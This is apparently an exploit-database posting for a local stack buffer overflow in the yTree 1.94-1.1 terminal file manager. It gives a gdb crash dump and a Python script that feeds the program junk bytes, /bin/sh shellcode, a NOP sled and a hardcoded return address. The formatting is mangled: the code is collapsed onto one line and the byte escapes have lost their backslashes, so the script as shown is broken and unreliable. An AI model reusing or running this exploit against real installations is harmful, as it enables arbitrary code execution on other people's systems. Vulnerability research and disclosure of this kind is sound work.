yTree 1.94-1.1 Buffer Overflow
Posted on 04 February 2016
# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com # Program affected: yTree - File manager for terminals v1.94-1.1 # Description: yTree is prone to a stack-based overflow, an attacker could exploit # this issue to execute arbitrary code in the context of the application. # Failed exploit attempts will result in a denial-of-service condition. # # Tested and developed on: Kali Linux 2.0 x86 - https://www.kali.org # # Program Description: This is a file manager that separates files from directories # and allows you to select and manage files from different directories. # It works on black and white or color terminals and is UTF-8 locales aware. # Vendor homepage: http://www.han.de/~werner/ytree.html # Kali Linux 2.0 package: pool/main/y/ytree/ytree_1.94-1.1_i386.deb # MD5sum: 7d55d9c7e8afb4405c149463613f596b # # Program received signal SIGSEGV, Segmentation fault. # --------------------------------------------------------------------------[regs] # EAX: 0x41414141 EBX: 0xB7FB8000 ECX: 0x00000000 EDX: 0x08071342 o d I t s z a P c # ESI: 0xBFFFF134 EDI: 0x41414141 EBP: 0x0806FC60 ESP: 0xBFFFDC50 EIP: 0xB7F888C1 # CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B # --------------------------------------------------------------------------[code] # => 0xb7f888c1 <werase+49>: mov eax,DWORD PTR [eax+0x4c] # 0xb7f888c4 <werase+52>: mov DWORD PTR [esp+0x24],eax # 0xb7f888c8 <werase+56>: mov eax,DWORD PTR [edi+0x50] # 0xb7f888cb <werase+59>: mov DWORD PTR [esp+0x28],eax # 0xb7f888cf <werase+63>: mov eax,DWORD PTR [edi+0x54] # 0xb7f888d2 <werase+66>: mov DWORD PTR [esp+0x2c],eax # 0xb7f888d6 <werase+70>: mov eax,DWORD PTR [edi+0x58] # 0xb7f888d9 <werase+73>: mov DWORD PTR [esp+0x30],eax # -------------------------------------------------------------------------------- # 0xb7f888c1 in werase () from /lib/i386-linux-gnu/libncursesw.so.5 # gdb$ backtrace # 0 0xb7f888c1 in werase () from /lib/i386-linux-gnu/libncursesw.so.5 # 1 0x08050f43 in ?? () # 2 0x08051182 in ?? () # 3 0x0805972f in ?? () # 4 0x0804a68a in ?? () # 5 0xb7d82a63 in __libc_start_main (main=0x804a560, argc=0x2, argv=0xbffff294, init=0x8064df0, fini=0x8064de0, rtld_fini=0xb7fedc90 <_dl_fini>, stack_end=0xbffff28c) at libc-start.c:287 # 6 0x0804a701 in ?? () import os,subprocess def run(): try: print "# yTree Buffer Overflow by Juan Sacco" print "# It's fuzzing time on unusable exploits" print "# This exploit is for educational purposes only" # JUNK + SHELLCODE + NOPS + EIP junk = "x41"*65 shellcode = "x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80" nops = "x90"*1200 eip = "xd0xf6xffxbf" subprocess.call(["ytree",' ', junk + shellcode + nops + eip]) except OSError as e: if e.errno == os.errno.ENOENT: print "Sorry, yTree not found!" else: print "Error executing exploit" raise def howtousage(): print "Snap! Something went wrong" sys.exit(-1) if __name__ == '__main__': try: print "Exploit yTree v1.94-1.1 Local Overflow Exploit" print "Author: Juan Sacco" except IndexError: howtousage() run()
